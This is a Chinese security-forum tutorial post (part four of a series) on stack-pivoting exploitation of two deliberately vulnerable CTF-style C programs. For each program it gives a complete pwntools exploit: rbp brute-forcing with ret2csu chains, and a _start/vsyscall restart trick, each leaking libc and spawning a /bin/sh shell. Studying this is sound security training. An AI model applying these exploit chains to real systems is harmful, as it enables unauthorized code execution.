首页
社区
课程
招聘
[原创]钉子户的迁徙之路(四)
2024-5-14 08:43 2583

[原创]钉子户的迁徙之路(四)

2024-5-14 08:43
2583

说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
钉子户的迁徙之路(二):https://bbs.kanxue.com/thread-281650.htm
钉子户的迁徙之路(三):https://bbs.kanxue.com/thread-281688.htm

10.爆栈之术(question_11)

前面只有涉及到栈的题目中,我们的漏洞都是能覆盖到返回地址,那么如果我们无法覆盖返回地址,只能覆盖 bp 该如何呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x80] ;
    puts("input:");
    read(0,b,0x88);
    //puts("byebye!");
    return 0;
}
 
int main(){
    int x;
    init_func();
    dofunc();
    x=200;
    return 0;
}
//gcc migration_15.c -fno-stack-protector -no-pie -o migration_15_x64

此时,我们通过爆破rbp的最后一个字节,利用在栈上布置的栈帧来实现ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_15_x64'
    # io = process(pwnfile)
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    libcfile = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libcfile)
    context.binary = pwnfile
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    puts_sym = elf.symbols['puts']
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
    rep_func = elf.symbols['dofunc']
     
     
    csu_front_addr = 0x401248
    mov_r13_rsi = 0x401220
    xor_rbx = 0x401243
    pop_rbx = 0x0401262
    pop_rbp = pop_rbx + 1
    pop_r12 = pop_rbp + 1
    pop_r13 = pop_r12 + 2
    pop_r14 = pop_r13 + 2
    pop_rsi_r15_ret = pop_r14 + 1
    pop_r15 = pop_r14 + 2
    pop_rdi_ret = pop_r15 + 1
    ret = pop_r15 + 2
     
     
    leave_ret = 0x4011D6
    call_read_addr_0 = 0x4011BB  # lea  rax, [rbp+buf]
    call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    call_read_addr_4 = call_read_addr_3 + 5  # call read
    call_read_addr = call_read_addr_0
        
    target1_rbp = elf.bss() + 0x500
    addr_tmp = target1_rbp + 0x100
    next_rbp_addr = target1_rbp + 0x300
    bin_sh_addr = next_rbp_addr + 0x200
    padding2rbp = 0x80
    nead_padding2rbp = 0x10
    call_read_len = 0x20
    stack_over_flow = call_read_len - padding2rbp
              
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
     
     
    # 本题目栈溢出没有覆盖 rip ,需要使用 ret2csu 爆栈之术,
    # 由于本程序 gcc 版本为新版本,所以可以使用 ret2csu_0x20 爆栈之术
    # 如果 gcc 版本为老版本,那么必须使用 ret2csu_0x30 爆栈之术
    # ret2csu_0x30 使用需要在 bss 段上或者知道栈地址,并且由于需要栈帧过长,一般来说较难使用
    # 输入的长度(含覆盖 rbp 的长度)至少为 0x20(0x30)
    # 当然,为了增加成功率,建议将输入长度适当增加,本题中为 0x88
     
     
    # 这种方法最重要的是第一步、第二步,
    # 使用 0x20 还是 0x30 取决于第一步
    # 第二步主要是根据选择更改 payload
    # 之后的攻击就是常规步骤,本题中选在现迁移再攻击
    # 注意:因为是爆破所以可能出现过了第一、二步仍然不同的情况,此时继续爆破即可
     
    for i in range(10):
        try:
            io = process(pwnfile)
            rbp_1 = target1_rbp
             
            # 第一步:爆破栈的最后一位 ret2csu_0x20 爆栈之术
            payload =  p64(call_read_addr_4) + p64(ret)* 2
            payload =  p64(ret)*((padding2rbp - len(payload))//8) + payload + b"\x00"
            #pause()
            sleep(0.5)
            delimiter = 'input:\n'
            # duchao_pwn_script.dbg(io)
            ru(delimiter)
            s(payload)
             
             
            # 第二步:使用 call read 覆写栈生成 ret2csu_0x20 爆栈之术 ,老版本要用 ret2csu_0x30 爆栈之术,第一步就需要修改
            sleep(0.5)
            # pause()
            payload_ret2csu_0x20 = p64(pop_r14) + p64(0x600) + p64(read_got) + p64(mov_r13_rsi)
            # payload_ret2csu_0x30 = p64(pop_r12) + p64(read_got) + p64(0x600) + p64(rsi) + p64(0) + p64(xor_rbx)
            payload = p64(ret) * ((padding2rbp - len(payload_ret2csu_0x20))//8 + 1) + payload_ret2csu_0x20
            s(payload)
             
             
            # 如果爆破成功,就随意蹂躏程序了,现迁移到 bss 段再进行进攻
            # pause()
            # duchao_pwn_script.dbg(io)
            sleep(0.5)
            payload = p64(ret) * 0x40 
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': rbp_1, 'arg3': 0x100}   
            payload = payload + duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = rbp_1 ,gcc_ver='new' ) + p64(leave_ret)
            s(payload)
             
            # duchao_pwn_script.dbg(io)
            # pause()
            sleep(0.5)
             
            call_func = {'func_addr':read_got , 'arg1': 0, 'arg2': next_rbp_addr, 'arg3': 0x100}
            p1 = duchao_pwn_script.ret2csu_payload(call_func , 0 , csu_front_addr ,rbp = next_rbp_addr ,gcc_ver='new' )
            payload_final = flat([ret , pop_rdi_ret , leak_func_got , puts_sym ]) + p1 + p64(leave_ret)
             
            s(payload_final)  
            leak_func_addr = u64(r(6).ljust(8, b'\x00'))  # 不同接受代码接受数量不同
            print(hex(leak_func_addr))
             
         
            # 以下代码为查找system及/bin/sh的地址
            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr, path = libcfile)
            print("system addr is:",hex(system_addr))
            print("bin addr is :",hex(binsh_addr))
            libc_base_addr = system_addr - libc.symbols["system"]
            open_addr = libc_base_addr + libc.symbols["open"]
            write_addr = libc_base_addr + libc.symbols["write"]
            print("libc_base_addr is :",hex(libc_base_addr))
            print("open addr is :",hex(open_addr))
             
            # pause()
            sleep(0.5)
            # duchao_pwn_script.dbg(io)
            payload = flat([ret , ret ,  pop_rdi_ret , binsh_addr , system_addr ])
            s(payload)
            itr()           
             
        except:
            pass

11.start 重启大法(question_12)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}
 
int dofunc(){
    char b[0x18] ;
    puts("input:");
    read(0,b,0x20);
    //puts("byebye!");
    return 0;
}
 
int main(){
    int x;
    init_func();
    dofunc();
    x=200;
    return 0;
}
//gcc migration_16.c -fno-stack-protector -no-pie -o migration_16_x64

此时只覆盖rbp,并且没有泄露程序,只是简单利用爆栈是无法攻击的,需要利用某些方式让程序重新启动。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
import duchao_pwn_script
from sys import argv
import argparse
 
 
 
s = lambda data: io.send(data)
sa = lambda delim, data: io.sendafter(delim, data)
sl = lambda data: io.sendline(data)
sla = lambda delim, data: io.sendlineafter(delim, data)
r = lambda num=4096: io.recv(num)
ru = lambda delims, drop=True: io.recvuntil(delims, drop)
itr = lambda: io.interactive()
uu32 = lambda data: u32(data.ljust(4, '\0'))
uu64 = lambda data: u64(data.ljust(8, '\0'))
leak = lambda name, addr: log.success('{} = {:#x}'.format(name, addr))
 
if __name__ == '__main__':
    pwn_arch ='amd64'
    duchao_pwn_script.init_pwn_linux(pwn_arch)
    pwnfile = './migration_17_x64'
    # io = remote('', )
    elf = ELF(pwnfile)
    rop = ROP(pwnfile)
    context.binary = pwnfile
    libcfile="/home/duchao/git/glibcdb/libs/2.27-3ubuntu1_amd64/libc-2.27.so"
    libc=ELF(libcfile)
     
    deadbeef =0xdeadbeef
    read_got = elf.got["read"]
    read_sym = elf.symbols["read"]
    read_offset = read_sym+0x4000
    leak_func_name = '__libc_start_main'
    leak_func_got = elf.got[leak_func_name]
     
    # call_read_addr_0 = 0x51DE  # lea  rax, [rbp+buf]
    # call_read_addr_1 = call_read_addr_0 + 4  # set rdx
    # call_read_addr_2 = call_read_addr_1 + 5  # set rsi = rax
    # call_read_addr_3 = call_read_addr_2 + 3  # set rdi = 0
    # call_read_addr_4 = call_read_addr_3 + 5  # call read
    # call_read_addr = call_read_addr_4
    vsyscall_ret_addr = 0xFFFFFFFFFF600000
    main_offset=0x1200+0x4000
    do_func_offset = 0x11D7+0x4000
     
    start_offset = 0x5080
    start_offset_2 = 0x5086
    start_offset_3 = 0x5089
    start_offset_4 = 0x508A
    start_offset_5 = 0x508D
    start_offset_6 = 0x5091
    start_offset_7 = 0x5092
    start_offset_8 = 0x5093
     
    libc_start_main_out = 0x5c4b
    for i in range(1):
        try:          
            # 首先泄露文件地址
            io = process(pwnfile)
            # duchao_pwn_script.dbg(io)
            payload=b"a"*0x10+p16(start_offset&0xffff)
            s(payload)
             
            pause()
            payload=b"a"*(0x10)+p64(vsyscall_ret_addr)+p16(start_offset&0xffff)
            s(payload)
 
            pause()
            payload=b"a"*(0x10)+p64(vsyscall_ret_addr)*2+p16(libc_start_main_out)
            s(payload)
 
            ru("transferring control: ")
            file_base_addr = u64(r(6).ljust(8, b'\x00')) - 0x1080
            print("file_base_addr is :",hex(file_base_addr))
            pop_rdi_addr =  file_base_addr + 0x1283
            ret_addr = file_base_addr + 0x1284
            main_addr = file_base_addr + 0x11FB
            start_addr = 0x1080 + file_base_addr
 
 
            # 然后再泄露libc地址
            duchao_pwn_script.dbg(io,"b system")
            # pause()
            payload=b"a"*(0x10)+p64(start_addr)
            s(payload)
 
            pause()
            payload=b"a"*(0x10)+p64(vsyscall_ret_addr)*2+p64(start_addr)
            s(payload)
 
            pause()
            payload=b"a"*(0x10)+p64(vsyscall_ret_addr)*2+p16(libc_start_main_out)
            s(payload)
 
            ru("transferring control: ")
            leak_func_name = "__libc_start_main"
            leak_func_addr = u64(r(6).ljust(8, b'\x00')) - 231
            print(hex(leak_func_addr))
            system_addr, binsh_addr = duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr,path=libcfile)
            addr_name_list = ['system', 'binsh']
            for i in addr_name_list:
                exec("print('{}_addr is :',hex({}_addr))".format(i, i))
 
            libc_base_addr = system_addr - libc.sym["system"]
            execve_addr = libc_base_addr +libc.sym["execve"]
             
            # 这里是为了堆栈平衡执行system
            pause()
            payload=b"a"*(0x10)+p64(main_addr)
            s(payload)
            pause()
            payload=b"a"*(0x10)+p64(pop_rdi_addr)+p64(binsh_addr)+p64(system_addr)
            s(payload)
 
            itr()  
        except:
            pass

12.总结

上面可以看出,栈迁移作用还是非常大的,但是,它对的前提是非常苛刻的:有确定的迁移地址,一般来说满足情况有以下几种。

  1. 关闭PIE。此时,程序的地址可以确定,bss段是比较好的迁移位置
  2. 泄露地址。这种需要题目有泄露的情况才可以操作,不论是栈地址、libc地址、file地址都可能成为栈迁移的选择。

阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回